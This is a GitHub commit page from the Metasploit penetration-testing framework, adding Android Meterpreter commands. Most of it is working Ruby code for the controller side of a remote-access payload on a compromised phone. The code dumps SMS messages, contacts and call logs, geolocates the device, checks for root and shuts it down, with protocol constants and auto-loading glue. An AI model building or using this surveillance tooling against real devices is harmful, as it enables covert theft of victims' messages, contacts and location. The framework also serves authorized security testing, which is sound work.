Skip to content

Commit af3ca19

Browse files
committed
Land rapid7#3501, @AnwarMohamed's android meterpreter commands.
2 parents ef2663a + 9243250 commit af3ca19

File tree

12 files changed

+605
-13
lines changed

12 files changed

+605
-13
lines changed

data/android/apk/AndroidManifest.xml

140 Bytes
Binary file not shown.

data/android/apk/resources.arsc

4 Bytes
Binary file not shown.

data/android/meterpreter.jar

3.26 KB
Binary file not shown.

data/android/metstage.jar

0 Bytes
Binary file not shown.

data/android/shell.jar

0 Bytes
Binary file not shown.
37.9 KB
Binary file not shown.
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/base/sessions/meterpreter'
4+
require 'msf/base/sessions/meterpreter_java'
5+
require 'msf/base/sessions/meterpreter_options'
6+
7+
module Msf
8+
module Sessions
9+
10+
###
11+
#
12+
# This class creates a platform-specific meterpreter session type
13+
#
14+
###
15+
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
16+
17+
def initialize(rstream, opts={})
18+
super
19+
self.platform = 'java/android'
20+
end
21+
22+
def load_android
23+
original = console.disable_output
24+
console.disable_output = true
25+
console.run_single('load android')
26+
console.disable_output = original
27+
end
28+
29+
end
30+
31+
end
32+
end
33+

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,12 @@ def on_session(session)
5959
end
6060
end
6161

62+
if session.platform =~ /android/i
63+
if datastore['AutoLoadAndroid']
64+
session.load_android
65+
end
66+
end
67+
6268
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
6369
if (datastore[key].empty? == false)
6470
args = Shellwords.shellwords( datastore[key] )
Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
#!/usr/bin/env ruby
2+
# -*- coding: binary -*-
3+
require 'rex/post/meterpreter/extensions/android/tlv'
4+
require 'rex/post/meterpreter/packet'
5+
require 'rex/post/meterpreter/client'
6+
require 'rex/post/meterpreter/channels/pools/stream_pool'
7+
8+
9+
module Rex
10+
module Post
11+
module Meterpreter
12+
module Extensions
13+
module Android
14+
15+
###
16+
# Android extension - set of commands to be executed on android devices.
17+
# extension by Anwar Mohamed (@anwarelmakrahy)
18+
###
19+
20+
21+
class Android < Extension
22+
23+
def initialize(client)
24+
super(client, 'android')
25+
26+
# Alias the following things on the client object so that they
27+
# can be directly referenced
28+
client.register_extension_aliases(
29+
[
30+
{
31+
'name' => 'android',
32+
'ext' => self
33+
},
34+
])
35+
end
36+
37+
def device_shutdown(n)
38+
request = Packet.create_request('device_shutdown')
39+
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
40+
response = client.send_request(request)
41+
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
42+
end
43+
44+
def dump_sms
45+
sms = Array.new
46+
request = Packet.create_request('dump_sms')
47+
response = client.send_request(request)
48+
49+
response.each( TLV_TYPE_SMS_GROUP ) { |p|
50+
51+
sms <<
52+
{
53+
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
54+
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
55+
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
56+
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
57+
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
58+
}
59+
60+
}
61+
return sms
62+
end
63+
64+
def dump_contacts
65+
contacts = Array.new
66+
request = Packet.create_request('dump_contacts')
67+
response = client.send_request(request)
68+
69+
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
70+
71+
contacts <<
72+
{
73+
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
74+
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
75+
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
76+
}
77+
78+
}
79+
return contacts
80+
end
81+
82+
def geolocate
83+
84+
loc = Array.new
85+
request = Packet.create_request('geolocate')
86+
response = client.send_request(request)
87+
88+
loc <<
89+
{
90+
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
91+
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
92+
}
93+
94+
return loc
95+
end
96+
97+
def dump_calllog
98+
log = Array.new
99+
request = Packet.create_request('dump_calllog')
100+
response = client.send_request(request)
101+
102+
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
103+
104+
log <<
105+
{
106+
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
107+
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
108+
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
109+
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
110+
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
111+
}
112+
113+
}
114+
return log
115+
end
116+
117+
def check_root
118+
request = Packet.create_request('check_root')
119+
response = client.send_request(request)
120+
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
121+
end
122+
end
123+
124+
end
125+
end
126+
end
127+
end
128+
end
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
#!/usr/bin/env ruby
2+
# -*- coding: binary -*-
3+
4+
module Rex
5+
module Post
6+
module Meterpreter
7+
module Extensions
8+
module Android
9+
10+
TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
11+
TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
12+
TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
13+
TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
14+
TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
15+
TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
16+
17+
TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
18+
TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
19+
TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
20+
TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
21+
22+
TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
23+
TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
24+
25+
TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
26+
TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
27+
TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
28+
TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
29+
TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
30+
TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
31+
32+
TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
33+
34+
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
35+
36+
end
37+
end
38+
end
39+
end
40+
end

0 commit comments

Comments
 (0)